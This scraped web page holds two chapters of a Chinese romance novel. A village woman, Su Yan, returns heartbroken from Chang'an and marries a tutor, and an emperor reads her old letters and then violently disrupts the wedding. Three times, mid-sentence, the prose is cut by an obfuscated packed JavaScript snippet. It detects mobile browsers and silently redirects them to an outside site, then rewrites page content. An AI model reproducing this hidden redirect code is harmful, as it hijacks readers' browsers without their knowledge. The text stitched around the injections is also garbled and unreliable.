街上虽冷,人却不少,于是她又一个人漫无目的地走了很远,从街头走到街尾,一个人去观赏这些绚丽夺目的花灯。 苏燕看得眼睛都有些累了,却像是要将这些深深刻进脑海似的,始终不肯停下来歇一歇。 她来之前听说,今日新帝那么大仪仗出行,就是为了给未婚妻祝寿,林相国的嫡女,与新帝情投意合,郎才女貌。新帝除了她再看不上旁人,连后宫都空置着。 苏燕兀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16002116|178276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自想着那些话,没有注意到脚下的不平坦,一不留神就朝下栽,结结实实摔在雪地上,额头撞得闷疼。 她捂着额头坐起来,眼眶微微发热,喉头就像哽着什么东西,卡得她嗓子都在疼。苏燕眨了眨眼,滚烫的眼泪落了下来。她愣了一下,连忙将脸上的泪水抹干净,紧抿着唇一声不吭继续走,然而没走两步她就又停下来抹去脸上湿意。 可这些眼泪怎么都停不下来似的,任由她怎么抹去,很快又往下落。苏燕终于忍不住,捂着脸蹲在地上嚎啕大哭起来,冰凉的泪水从指缝中渗出,融入冷白的雪地,悄无声息。 满街的花灯映照,一片喜气欢腾的盛景,人影绰绰,唯有一人煞风景地在哭,也不是什么极为撕心裂肺的哭法,只是也伤心极了,听了未免觉得悲戚,路过的行人纷纷猜测她是被情郎辜负。 本来还有人想着上前询问,就见她踉跄着站起来,继续朝前走了。 长安这样远,苏燕走了很久才过来,走得脚底生了血泡,总算见到了她的心上人。 可惜只匆匆一眼,就再不敢多看,以后也再见不到了。 苏燕一直守到街上行人慢慢散了,看着各色花灯一盏盏熄灭,就如同心中有簇一直跃动的火苗,也跟着一点点黯淡了。 她还是有些难过,长这么大,她是第一次喜欢人,可能有点傻,但是绝对没什么坏心,哪里知道她的真心,其实在那人眼里是痴心妄想,是可以随意践踏的。 对于车辇上的那位新帝而言,她不过是草芥一般不起眼的人物,因此当初那些看似情真的誓言,也不过是遇难时为了让她不离不弃说的谎言。 何必如此,其实就算他什么也不说,她也绝不会弃他而去。 何必一定要骗她,竟让她傻子一样信以为真。让她与身边所有人说莫淮一定会回来,又自作多情地写了一封又一封永无回音的书信。 刺骨寒风就像钝刀子,刮过的时候疼得苏燕颤抖,她眼看着长街灯火熄灭,眼中的光亮也随之消失,她吸了口冷气,自言自语地喃喃道:“花灯真好看啊……” 13. 第 13 章 早春多细雨,天气阴冷潮湿,寒意就像蚂蚁似地攀在人身上,连骨头缝都觉得冷。 云塘镇的学生没几个真心好学的,碰上这样不好的天,纷纷找了借口不来上课。 简陋的学堂一时间安静了下去,周胥也不恼怒,总归他们付了报酬,学不学好都是各人造化,他省得。 不过他也并不喜欢这样的天气,一到这个时候,母亲便开始咳嗽,去镇上拿药还要走过一趟泥泞的路。若是苏燕在就好了…… 他想到这里,不禁抬头看了眼灰扑扑的天。 距离苏燕去长安已经有一阵子了,不知她是否找到了那个男人,又何时才肯回来。当初见苏燕执拗,他也没有劝上几句,只因心中清楚,能住在崇安坊还被仇家追杀的,绝不会是什么一般人,哪里会娶一个乡野村妇,便是做妾传出去都是丑闻。士族与寒门之间的天壤之别,又岂是三言两语的誓约可以打破。 只是苏燕此去已有两月多,周胥心中多少还是有些担忧。 一个女子孤身去到陌生的长安,路上也不知道会遇到多少磨难,虽然他知道苏燕不是什么娇滴滴的女儿家,却在她这么久未归后,也不得不感到忧心了。 药快煎好了,周胥将药罐子取下,忽闻院门前传来响动,起身看向那处。 烟雨蒙蒙中,一个鬓发微湿,面色苍白的女子出现。她兴许是冷得厉害,唇瓣都在微微颤栗,望见他后却扬起了一个笑脸。 苏燕嗓子有些哑,声音柔柔的:“周先生,近日可还好?” 周胥一失神,手指被滚烫的药罐子烫到,迅速缩了一下,对上苏燕的视线,那点疼痛似乎也跟着消失了。 “燕娘,你快进来吧。” 断断续续下了半月的雨,一直没有放晴,苏燕淌过泥水,裤脚裙边都脏兮兮的。她想踏进屋子,却又想起自己鞋上的泥巴,先去一边摘了几片番瓜叶子,混着雨水把泥巴给擦净,这才往屋里走。 周胥笑了笑,说道:“我家中同是泥地,哪儿那么多讲究?” 苏燕却垂下眼,说道:“不一样的。” 周胥给她倒了盏热水,边问她:“此去如何,人可见到了?” 他状似无意,心中却有几分忐忑。 苏燕还在低头望着自己脏兮兮的裤脚,也不知在想些什么。 周胥以为他没听见,正要再问,就听她轻声说:“见到了,他家中并非商户,是有权有势的官宦人家,的确也算泼天富贵……只是他与我到底是云泥之别,有些事便只能算了。” 周胥缓了口气,细细打量苏燕神情,却见她似乎并不难过。 “他背弃誓言,你可有怨恨?” 苏燕接过热水,双手捧着取暖。湿透的鬓发贴在颊边,低垂的眉眼让她显得柔顺极了。 “初时还有些委屈,回来的路上已经想明白了。他这样的身份,自然不会感念我的好,我再怎么怨恨伤心,无非只能害了自己,还不如忘了他。日子总要过下去的……” 周胥在她身旁坐下,目光落到她水盈盈的眼眸上。 苏燕与他见过的大多女子还是有些区别的,或许是因为她那位名声极差,又早早病死的母亲。她虽有姿色却无依无靠,难免要比旁人更命运多舛。而这也叫她更坚韧,习惯独自面对生活中的各种不公。让她时而温顺可怜,时而又泼辣蛮横。 周胥端着茶,杵着下巴问她:“那你日后还想学字吗?” 她笑起来有几分腼腆,轻声道:“先生不会嫌我碍事吗?” 他也跟着笑了,说:“自然不会了,你比那群学生要省心。” 回到云塘镇,苏燕身上的银钱已然不多了。她才回到马家村的消息立刻就传开了,马六一家子又带人来闹事,聚众站在她家门口吵嚷着,说她不知羞耻,死皮赖脸去找心上人,结果灰溜溜地回来了,人家根本不把她当回事。 苏燕难得的没有反驳,因为他们说的都对,只是那些难听的话一句接着一句,就像有人用力地在往她脸上抽耳光,让她脑子都嗡嗡作响,却又只能委屈得哑口无言。 马六一家人想上来撕扯她,被张大夫死死护住,又有好心的村民看不过去,将他们一家子给轰走了。那些人虽是熟悉苏燕才帮她,却也难免因为她被情郎抛弃而对她有了异样的目光,有怜悯也有轻蔑,她都默默地受着,全怪她自作自受。 约莫是回来的路上淋了雨,很快苏燕就病倒了,张大夫照看了两日,始终不见她好转,一时间便有些心急。他还指望着苏燕为他养老送终,却不曾想如今倒是她先病恹恹的,眼看着再不治就要病死过去。 张大夫腿脚不便,连忙托了去镇上的人去寻在书院教书的周胥,让他来看一看苏燕。 周胥得知此事,立刻去了村子里见她。 马六一家就像甩不掉的狗屎,周胥去的时候,他们还想趁人之危,硬闯苏燕家将她带走,好在周胥来得及时,不由分说将人抱起来就走,张大夫才算松了口气。 纵然周母心中百般不愿,也奈何不了周胥将苏燕接入家中悉心照料。 期间她几次迷迷蒙蒙地醒过来,都能看到是周胥守在榻边,面带关切地望着她。 他伸出手放在苏燕额头处,探了探她的体温,而后缓了口气,说道:“已经好些了,你喝水吗?” 苏燕半撑起身子,望着眼前的男人眨眨眼,眸子像是氤氲了层雾气,渐渐地朦胧了视线。 —— 幂幂敛轻尘,濛濛湿野春。 也不知过了多久,连绵的雨水才算停了。苏燕的身子好起来,照例背了箩筐去山上采药。正是雨过,山野间冒了野蕈子,竹林间也发了新笋。她在山野间折腾许久,微湿的鬓发贴在脸颊,她也只能抬手用衣袖擦了下细汗。 周胥送走了学生,久久不见她踪迹,问过张大夫后便动身去寻她。最后就在半山腰找到了她,正好山上的野花也开了,杏白粉红参差交错,阵阵花香中有野蜂来回穿梭。 他是在一棵辛夷花树下寻到的苏燕。 比起高大的花树,苏燕站在树下显得身影更加单薄,半挽的袖子下露出的一双玉臂,好似稍一用力就能折断。 她背着箩筐仰头去看树上的花,白净的脸透着粉红,像是花瓣被揉碎,花汁在她面颊上晕开,一张娇艳的面容半点不输枝头春色、 周胥唤了她一声,苏燕眯着眼朝他看过来,面上带笑。 周胥鬼使神差一般的,在此刻说出了压在心中许久的话。 “燕娘,你愿不愿意嫁我为妻?“ 他说完后又有些懊恼,此刻开口,未免太过潦草了些,但话既出口,也只能站在原地,定定地望着苏燕,等待她的回答。 苏燕收敛了笑容,哑然了好一会儿,也不知想起什么,突然抬手摘下一朵辛夷花簪在发上,笑问他:“好看吗?” 周胥虽不明所以,也依旧点头,紧接着就看苏燕几步走到他身边,对他挤了下眼睛,十足的娇俏可人。“那我就答应你吧。” 云塘镇很小,镇上只有周胥这么一个夫子,他要成婚的事很快就传开了。加上要娶的还是苏燕,难免要被议论好一阵子。周母心高气傲,不愿听见那些流言蜚语,索性闭门再不外出,对常来家中的苏燕也愈发黑着一张脸。 苏燕没什么嫁妆,自然也没必要索取什么聘礼,二人都商议着想将一切从简。 她回了自己那个破陋的家收拾东西,将那些被堆在桌角的话本子拾起来拍了拍灰,里面还夹着几张废纸。在屋子里环视一周后,她盯着那个空置的角落一会儿,想起自己当初说要添置书架的模样,心中平添几分苦涩。 婚期将至,实际上她自己也是有几分不安的,没有可以安抚她的父母,也没有交好的姊妹兄弟,一切女儿心事只能自己默默咽下。 在空荡安静的屋里坐了许久,苏燕又忍不住想起了当初给徐墨怀写信的时候。那时她心中有个盼头,总觉得一切都可以向他诉说,尽管字写得不好,也总是会将信纸写满,盼他在远方了解她的心事。 如今想来,那些信应当也传不到他手中,不知是被人丢弃还是烧了,连被拆开的机会都没有。 苏燕感念往事,突然升起一股诉说的欲望,便翻开箱子找出粗糙的墨笔,在信上写了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16002117|178276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来。写到途中,她时不时就遇到不会写的字,但总归没人看,她也不大在乎,胡乱画了一通。 这是她最后一封信了,与其说是写给徐墨怀,不如说是写给她自己。 次日苏燕去找人捎信,信使看了眼封上的字,收了二十文后才说:“又是你,方才那个书生也来寄信,你怎得不和他一起?我听闻你们就要成婚了,恭喜啊。” 苏燕面上一红,和他道过谢,转身想追上周胥问一问。 走到途中的周胥听到呼唤声,停下脚步等她,随后拉过苏燕的手,问她:“你怎么在这儿?” 苏燕没有和他说自己寄信的事,毕竟这行为听着有几分傻,便说:“方才见到那送信人,他说恭喜我们,还说你方才寄了信。” 周胥笑容微微一滞,然而见苏燕面上并未异色,他敛了神情,说道:“今日在早市上买了条草鱼,做鱼汤还是清蒸得好?” 苏燕想了想,说道:“还是鱼汤吧,昨日才采得笋子正鲜嫩,炖汤好。” 说完后二人拉着手一同回去,等到午后苏燕又回到药铺。 —— 京城一到春日,柳絮就随风飘了满街,漫天纷飞像极了雪花,时常有行人因此而咳喘个不停。 崇安坊一带就种了不少柳树,徐墨怀从马车中出去,立刻就有飞絮落在他发上。 常沛看到他皱眉拂去白絮,便说:“陛下怎么亲自来了?” “朕来是要问问林家的事。” “陛下还是怀疑林家阳奉阴违?” 徐墨怀冷嗤一声,朝着内堂走去。“不是怀疑,是肯定,林家盛宠不衰,难免会有人生出不臣之心,暗地里想更进一层。” 他走着就瞧见院子新种的一棵牡丹,竟已长了一人高,花苞羞合,不日便能盛开。 “从前似乎不曾见过。” 常沛解释道:“是前年洛阳进贡给宫里的一株牡丹,因为送来的时候品相不好被弃,臣见扔了可惜,让人种在了此处,谁知两年过了竟长势喜人。” 常沛喜好饲养珍禽异兽,这青環苑便是徐墨怀赠给他的,也算是游玩休息的一方宝地。 穿过回廊的时候,正有两个小厮在空地处围着一个火盆烧东西,焦黑的碎屑被风吹得乱飘,地上堆叠的书信也散了一地,几人忙俯身去捡。 正巧一封信落到徐墨怀脚底,小厮一见来人,连忙跪在地上行礼。 他俯身捡起,只随意瞥了一眼,深觉这字迹丑得人眼睛疼,正皱着眉想将信丢回去,余光却扫到了“莫淮”二字。 常沛没注意到徐墨怀不寻常的沉默,口中正在说着:“一些旧物不好打理,留着又无甚用处,我便让他们拿下去烧了……” 徐墨怀始终没让两个小厮起来,他们还以为是冲撞了皇上惹他不悦了,跪在地上正不安地等他发话,就听头顶传来一句:“这信什么时候送来的?” 其中一位悄悄抬头,看了一眼那隐约露出的字迹,立刻就明了是什么信,说道:“回禀陛下,这信断断续续寄来许多,又不知主人是谁,搁置了许久,奴婢们也记不清了。” 常沛看向徐墨怀,才发现他面色沉凝,捏着信的手指极为用力,将信纸都捏出了折痕。 “可有人看过了?”他语气不轻不重的,落到两个小厮耳朵里,却让他们无端觉得背后发毛,好似头顶悬了把刀子。 “禀陛下……无人看过,这……这奴婢们虽找不到主人,也万不敢贸然去看的……” 徐墨怀鼻间轻哼一声,算作应答了, “行了,起来吧。去把这类信都送到朕这儿来,一封也不要遗漏。” 话音刚落,地上两人就连滚带爬地起身,去杂物堆里翻找起来。 常沛见他如此反常,问道:“这信原是陛下的?” 从前小厮也拿着这些找过他,只是那字迹实在不堪了些,他怎么都联想不到寄信人会与徐墨怀有关。 “算是吧。”他并未解释什么,只将信看过了一遍,抚平折痕后叠好放入袖中,并没有要给常沛看的意思。 常沛睨了一眼,只好压住心中好奇。 14. 第 14 章 青環苑的侍人将收揽的信都送来,差不多有十来封。 徐墨怀看到那厚厚一沓时颇有些意外,毕竟苏燕节俭惯了,就是几文钱都要精打细算,马家村走到云塘镇要两个多时辰,她宁可走去也不肯花上一文钱托牛车捎带自己一程。这么远寄来长安,怕是要花费不少银钱。 他暂且只看完了一封信,字迹实在不像话。换做他五岁时,倘若写出这样的字,会被太傅狠狠打板子教训。全文看下来更是毫无美感可言,勉强可通读罢了。 无非是说些种地耕田的琐碎小事,徐墨怀看完一遍就皱着眉放下了。剩余的书信被送到书房后,他也一直忙于政务,没有时间细看。一直等到批阅完折子,才突然想起那些书信。 他心中多少还是有些好奇,毕竟苏燕虽背叛他,却也的确帮了他大忙,因此在离去的时候他还是留了苏燕的命。在他眼中这已经是无上的仁慈,而她竟还不识好歹地送信来,说的也尽是些鸡毛蒜皮的事,光看字都让他回想起了那段因重伤身不由己,只能听她废话连篇的日子。 青環苑的人在把信呈上的时候,已经想办法将时间给理清了,徐墨怀也不需要自己再去深究。只懒散地斜倚在软榻上,开始一封封翻看这些信。 苏燕写的东西实在叫人不堪卒读,徐墨怀越看越皱眉,过了一会儿便揉着眉心叹气。 然而也只是叹气,毕竟第一封信中,苏燕就解释了她去而不复返的原委。与其说是他惨遭背弃,不如说是他先丢下了苏燕,反而在心中误解她。 徐墨怀在信中得知,苏燕受了伤被人救下。可见伤得不轻,竟在镇上休养了许久不曾去采药。连同她家中的牲畜都被人牵走,只剩一条机灵的黄狗逃脱。 也不知是谁教给她的,竟在信中写了“匪过如梳,兵过如篦”这八个字,兴许就是她说的那位私塾里的先生。 即便他不在,苏燕也没少做蠢事。 例如摘柿子被砸到脑袋,在药铺中与人争执险些打起来…… 他看着看着,竟不自觉笑出声来,似乎她那些蠢样子都活灵活现地在眼前。 虽然这乱七八糟的字迹看着有些费力,却也不失为一种消遣,只是再往下看,他脸上的笑意便越来越浅,最后几乎是凝着一脸的寒霜。 苏燕并不是娇滴滴的姑娘,她只觉得莫淮是依靠是心上人,便什么都跟他讲了。包括她在河边打水险些被马六轻薄的事,她一句带过去,却写了一长段说自己是如何打他,又让大黄追着马六跑,让他边跑边求饶,字里行间还颇为得意。 徐墨怀看着这些信,觉得胸口发闷,像是喘过不气一般,便丢下信起身饮了口凉茶,胸中恶火似乎也压下不少。 他突然有些不想看了。 看了无非是平添烦扰,苏燕的事早已与他了无干系。 正好过了午后,徐晚音又进宫来找他,这次也不知是为了何时。 徐墨怀耐性并不好,却对这个胞妹呵护备至,二人是双生子,徐晚音生下来就体弱些,几乎与他形影不离。皇姐与母妃死后,徐晚音成了他最珍视的亲人,无人能动她分毫。 只是不曾想,这样被娇宠着长大的公主,会喜欢上一个同样高傲尊贵,连皇室都不放在眼里的林照。士族鼎盛之时,娶公主反而成了将就。徐晚音嫁给了寡言疏离的林照,全身心扑在他身上,倒是没换得他多少怜爱,只好日日跑进宫里和徐墨怀诉苦。 他从前还会耐着性子劝上几句,后来任由徐晚音哭哭啼啼,都只冷着脸说让她和离再嫁。 徐晚音喋喋不休的时候,徐墨怀正疏懒地倚在窗边看着院中的花树。 这样好的春光悄无声息过了一半,他竟丝毫不曾留心过,原来庭中花树已经开得这样好了。换作观音山,此刻也该是满山苍翠,繁花如锦了吧。 他意识到自己心中所想,立刻神色不自在地坐直了身子。 徐晚音并未注意到她皇兄的变化,口中仍说着:“林照说好了要与我去踏青,中途却因为公事丢下我,我料他一定又是去平西坊找那宋娘子了……我与他成婚已久,他竟还对一个卑贱的绣女念念不忘,丝毫不顾及我的颜面……“ 徐晚音攥紧了衣袖,面上满是怨怼,若不是林照做事还算有分寸,没跟那宋箬卿卿我我,她早将人打死了,何至于拖到今日。 “你难道就没个手帕交吗?这种事自己做不了主,竟跑到宫中与我抱怨起来了,我堂堂一国之君,难道要去替你捉奸不成?”徐墨怀扶着额头,越听越心烦。 徐晚音委屈地低着头,小声道:“我当初执意要嫁林照,这么多年了他的心思始终不在我身上,说与旁人听只会叫人笑话,如今连皇兄都不在意了……” 徐墨怀冷笑一声:“好啊,那我现在就让人去杀了那个宋娘子,你可如意?” 徐晚音听他这样说,面上又犹豫了起来,支支吾吾道:“这样也不好,若适得其反……” “那就杀了林照。” “皇兄!” 见她这般反应,徐墨怀也不想再多说。他一心护着徐晚音,为此不惜提拔林氏,给足了她颜面。如今过得好与不好,也不是他能左右的。 任由徐晚音抱怨了一个时辰,最后徐墨怀不胜其烦,送了几件珍奇宝物打发她,立刻叫侍卫薛奉将她送回公主府去。 等徐晚音走后,殿内总算又安静下来,只剩庭中风吹树叶和雀鸟啼鸣的声响。 徐墨怀心乱如麻之际,侍卫来报,说安庆王世子来拜见,他才缓了神色起身要走,拂袖时还不慎碰倒了茶水。 —— 徐伯徽尚未及冠,比徐墨怀还要小了三岁,正是好动贪玩的年纪,在长安是出了名的魔王,不知害得安庆王被御使参过多少次。 以往徐墨怀是谁也不爱亲近的,更不用说胡闹惯了的徐伯徽,因此徐伯徽见他竟肯陪自己一同到马场同游,还颇有些例外,见了面就缠着他问个不停。 “许久不见皇兄来马场,怎得今日突然来了兴致?”徐伯徽少年心性,穿了一身绛色圆领袍,玉冠将头发束起,中间还极为古怪的编着辫子,坠有宝石和琉璃。 徐墨怀扫了一眼,说道:“不伦不类,学着一副夷狄做派,平白叫人笑话。” 徐伯徽笑嘻嘻地说:“我见明玉坊的胡姬姑娘都这么干,不过是图个新奇,其实也挺好看的,回府之前就拆掉,保准不让我父王见着。” 胡人在大靖中一向是次等,即便同是娼妓舞姬,胡人居多的明玉坊也要更受人白眼些。 “安庆王的身体越发不好,你也该早日成家,将你这性子收敛些,而不是整日与些卑贱之人混在一起自降身份。”徐墨怀说的话比起那些御使,已经算留足了情面。 如今朝中最看重门第,那些名门望族自视甚高,连家仆都不要带着胡人血脉的,徐伯徽再胡闹下去只会害了他自己。 徐伯徽笑了笑,应道:“皇兄说得是,我记下了。” 过了一会儿,他又回过头问:“其实那些人身份虽低微,却未必不让人怜爱,若有朝一日,皇兄也对这样的人产生情意,也会觉得自降身份吗?” 说完他又觉得失言,忙又补充道:“这么说也不对,皇兄早已是九五之尊,何来自降身份之说。即便是一块石头,若能让你中意,那也是贵比金玉。” 徐墨怀不吃他这一套,直接了当地问:“你想娶胡人?” 徐伯徽讪笑两声没有否认,徐墨怀立刻就明白了,难怪会这副打扮进宫见他,原是存了试探的心思,想必是知道安庆王与老师会坚决反对,这才想来看看他的态度。 “你若想安庆王与孙将军一头撞死在宣政殿的柱子上,便尽管将人娶进王府。” 听到这样的回答,徐伯徽也急了起来:“喜欢一个人本就是情难自控,我心已许她,难道只因她是胡人,皇兄便要看我狠心割爱吗?” 徐墨怀冷冷道:“你年纪尚轻,更不该耽于情爱。为了一个女子让整个家族蒙羞。何况是一个胡姬,你若实在想要,让她做妾足矣。” 徐伯徽向来怕他,知道这样的话已经是极为退让了,便低头丧气地“哦”了一声,不再纠缠在这件事上。 等从马场回到紫宸殿,徐墨怀出了身薄汗,宫人已经早早备好了沐浴的热水。待他洗漱完去书房,正巧听到一个宫人在与同伴嬉笑。 “……那字是你没瞧见,歪歪扭扭没个形状,简直是狗爬似的,瞧不出个所以然来……” 两人说着便笑作一团,待注意到不远处的徐墨怀后,纷纷吓得瘫软在地,哆嗦着跪拜认罪。 “陛……陛下……” 徐墨怀面上没什么表情,只淡淡扫了二人一眼,吩咐道:“去抄雍也篇三千遍,一月内抄不完,割舌,一字潦草便剁一指。” 三千遍,还要兼具工整,便是要他们日夜不休,换谁能抄得完,这和直接下令剁手割舌有什么区别? 话一说完,二人皆是面色苍白,如丧考妣,然而还要忍住眼泪,跪谢他宽容大度。 白日里他弄倒了茶盏,想必就是那个时候宫人进去打扫看见的。 就是给他们十条命,他们也不敢翻阅书案上的书信,但远远地瞧上几眼也不算难。徐墨怀走进去的时候,正想着将收拾的宫人换一批聪敏的。 而后坐在书案前,重新拾起了看至一半的信。 书案上搁置的政务尚未处理,他却在看一些枯燥乏味,甚至称得上浪费时间的东西。徐墨怀想到此也觉得有几分好笑,也不知道自己为何会做这种蠢事,然而紧接着信中的内容就再次挑动了他平缓的心绪。 他沉着一张脸看完了全部的信,一直到最后一封。苏燕说她想了很久,想来长安找他。 按照这信上所说的时间,等她到长安应该是年后了。 徐墨怀突然有些恍然,惊诧于她竟真的跋涉千里,只为确认他的安危,甚至这么多封信里,都不曾催促过他回到马家村,有的只有关心他是否健朗平安。 这是最后一封信,自此后再没有了。他不知道苏燕是否真的来了长安,但她必定是翻遍整个崇安坊,也找不到一个叫做“莫淮”的郎君。又或者她在半途就遇到不测,再没有书信能寄过来。 徐墨怀将信又看了一遍,心中的烦躁并未平复,反而有愈烧愈烈之势。 他闭了闭眼,脑海中浮现的画面便不受他控制了,索性起身离开书房准备安寝。 明日他就烧了这扰人的东西! —— 次日徐墨怀醒来,面色显然就更差了,也不知是不是做了什么梦。 常沛一早就在殿外等着,正听薛奉说起昨日皇上心情不佳的事,就见穿戴整齐的徐墨怀走了出来,眼下略带青黑,显得人有几分疲态。 他走出来就开口道:“薛奉,让人去端个火盆,放在书房外。” 薛奉百思不得其解,只能照做,搬着一个不大的火盆放在书房外等着,而后常沛跟着徐墨怀身后,一副欲言又止的表情。 等徐墨怀拿着厚厚一沓书信准备往火盆里丢的时候,他终于忍不住开口了。“陛下,昨日又送来两封信。” 徐墨怀动作一顿,到底还是停了手,却一动不动地盯着他手里的信半晌没去接。 常沛拿信的那只手就像被刺扎着似的,收回去也不是往前递也不是。 过了一会儿,他似乎终于想通了,伸手将信接过拆看了起来。 也不知看到了什么东西,徐墨怀的脸色已经不是难看一词可以形容了。 “陛下怎么了?” 他拿信的手指用力到泛白,几乎要将那本就劣等的信纸给捏碎了。 “当日上元节,朕在街上无意中看到一个人,一个绝不会在长安出现的人。”徐墨怀将那封错漏百出的信看完,只阴着脸说了这么一句话。 谁想未必是他错认,当日苏燕的确走过了长安的大小街市,二人擦肩而过之前,她也同长安的百姓们一般,在雪地中跪迎了天子仪仗。 常沛问:“陛下说的人是谁?” “朕的救命恩人。”他冷声说完,转身回了书房,没有再将信丢进火里的意思。 常沛等徐墨怀看完最后一封信,谁知这次他竟很快就读完了,且快步走出去,唯独将那一封信丢进了火盆,面上似乎还有几分嫌弃。 “朕那位救命恩人的眼光实在不怎么样……”徐墨怀冷嗤一声便没了后话,呆站在火盆前许久,一直到那封信只剩残余的灰烬,也没有挪动脚步。 常沛问他:“陛下近日究竟在忧心何事?” 常沛伴徐墨怀长大,称得上世上最了解他的人,即便是这样,也鲜少见他有如此反常的时刻。 “当初朕重伤被人所救,救朕的是一个乡野村妇。她大字不识,言行粗鄙,待朕却还算用心。”徐墨怀说起这些,往事又在心中浮现。“朕当她只是为挟恩图报,也曾想过杀了她灭口,可最后还是感念那半载岁月,留了她的性命。不曾想朕走后,她过得似乎比从前还要不好,连遇到的夫婿也别有用心。你说若朕此刻将她带回长安,算不算救她于水火中?” 没等常沛回答,他便自顾自地说:“她不过是一低贱农妇,朕能赐她荣华富贵,让她过上梦寐以求的生活,她当然该跪谢朕的恩典……” 常沛默了默,问道:“陛下喜欢她?” 徐墨怀扭过头,表情古怪地看着他:“你在说什么蠢话?” 常沛:“……” 他哑然片刻,又说:“此去路远,陛下想派何人前去?” “自然是朕亲自去。”徐墨怀想到她在信中说的婚期,便忍不住泛起冷笑来。 常沛知道徐墨怀阴晴不定的性子,也没有好劝他,也许明日他就改主意了。 然后次日,徐墨怀便寻了个由头带人出城了。 —— 云塘镇很小,谁家要办喜事都能传遍。 周胥脾气很好,待人温厚有礼,许多人都想将女儿嫁给她,谁知这桩婚事竟落到了苏燕头上。 好事者便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16002118|178276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会在背地里编排苏燕,连着将她早死的母亲都拖出来嘴上两句。 苏燕有意让自己忽视那些风言风语,却也没办法做到全然不理会,背地里还是会不堪其扰,加上周胥的母亲一直没个好脸色,尽管她悉心照料,也还是言语轻蔑,处处贬低她。 好在周胥从不曾有看低她的意思,这才让她心中好受了些,总归是和周胥过日子,好坏都让旁人说去,她才不要理会。 二人的婚事并非大办,宾客也都是亲朋好友。苏燕的绣活不好,自己挑了块喜欢的料子,请镇上有名的绣娘缝制。 孟娘子提前看过她一身装扮,说道:“周家当真没落至此?竟让你穿得如此素净,头上连根像样的钗子都没有,到底是周胥母亲不许,还是他认为你家境清贫,便不肯对你多花几分心思?” 苏燕笑了笑,也不知是在宽慰孟娘子,还是在宽慰自己。“我又没什么嫁妆,在马家村也算声名狼藉了。他不曾说过我半句不好,我心中已经很感激了,若再强求什么,倒像是我不知好歹了。” 孟娘子叹息道:“你从前可不是这模样,从长安回来一趟,怎得就妄自菲薄,先瞧不起自己了。还是周胥他娘总说些混账话,让你……” 苏燕垂下眼,轻声说:“与旁人没什么干系,只是觉得,也许我是该有一点自知之明。” 两个人都要成婚了,孟娘子一个外人也不好说太多丧气话,回去翻箱倒柜从嫁妆里找了根钗子送给苏燕,算作是给她的贺礼。 马家村离镇上太远,成婚当日苏燕从孟娘子他们的住处被人接走。虽然一切从简却也很是喜庆,镇上不少人都放下手头的事来围观。小孩子跟着送亲的队伍又蹦又跳。 苏燕本就生得好看,略施粉黛后美得让人移不开眼。从前说周胥娶了一个娼妓之女的人,也在此刻闭了嘴,只敢酸溜溜的在背后说几句风流话。 苏燕一路被迎进了周胥家的院子,宾客们欢呼起哄笑作一团。 而后便是一堆繁琐的礼节,因周胥出身士族,对此也更讲究。苏燕担心在众目睽睽之下出丑,为此曾练了好几次,如今这么多人看着,还是免不了心中忐忑。 大概是猜到了她在想什么,周胥握着她的手,小声地说了句:“别怕。” 苏燕面上一红,瞥了他一眼后迅速低下头,宾客见状就起哄:“周先生和小娘子说什么悄悄话呢?说出来让我们也听听!” 哄闹声吵得厉害,周胥也笑出了声。苏燕脑子一片混沌,似乎是飘离在外,如同一个旁观者一般看着自己同周胥行礼拜天地,总觉得一切都十分不真实,好似在做梦。 等到宾客酒至正酣,礼成就要送入洞房了,宾客便开始喧闹起来,围着周胥要他喝酒,你推我搡间嬉笑声欢呼声吵得人脑子嗡嗡作响。 然而只是瞬息之间,突然一列兵卫闯入喜宴,如同一瓢凉水浇入了沸腾的铁锅中,哄闹的人群迅速地安静了下来。 周胥也有片刻无措,然而身为主人家,他立刻站出去,问道:“敢问各位来此有何贵干?” 还不等苏燕反应过来,一个衣着华贵,手持长刀的男子从中走出,二话不说挥刀砍去。 只听一声惨叫,一只断手落在苏燕前方。方才还鸦雀无声的人群都被这变故吓得惊叫起来,挤挤攘攘地往一旁退,胆小的更是抖得像筛糠。 苏燕吓得倒吸一口气,强忍畏惧立刻上前扶住踉跄的周胥。 “你们是什么人?” 男子打量她一眼,却并未回答,只沉声吩咐道:“所有人都滚出去,倘若有逗留者,杀无赦。” 他气势十足,半点不像唬人,众宾客本还犹豫的,都忙不迭往外跑,桌椅碗筷都被撞得哐当作响,地上一片狼藉。 苏燕面色惨白,不安地看向面前的陌生人。 周胥疼得跪倒在地上,眼睛死死地盯着那只断手,身子止不住的发抖,而周母则大声哭嚎了起来,也扑上前抱着儿子。 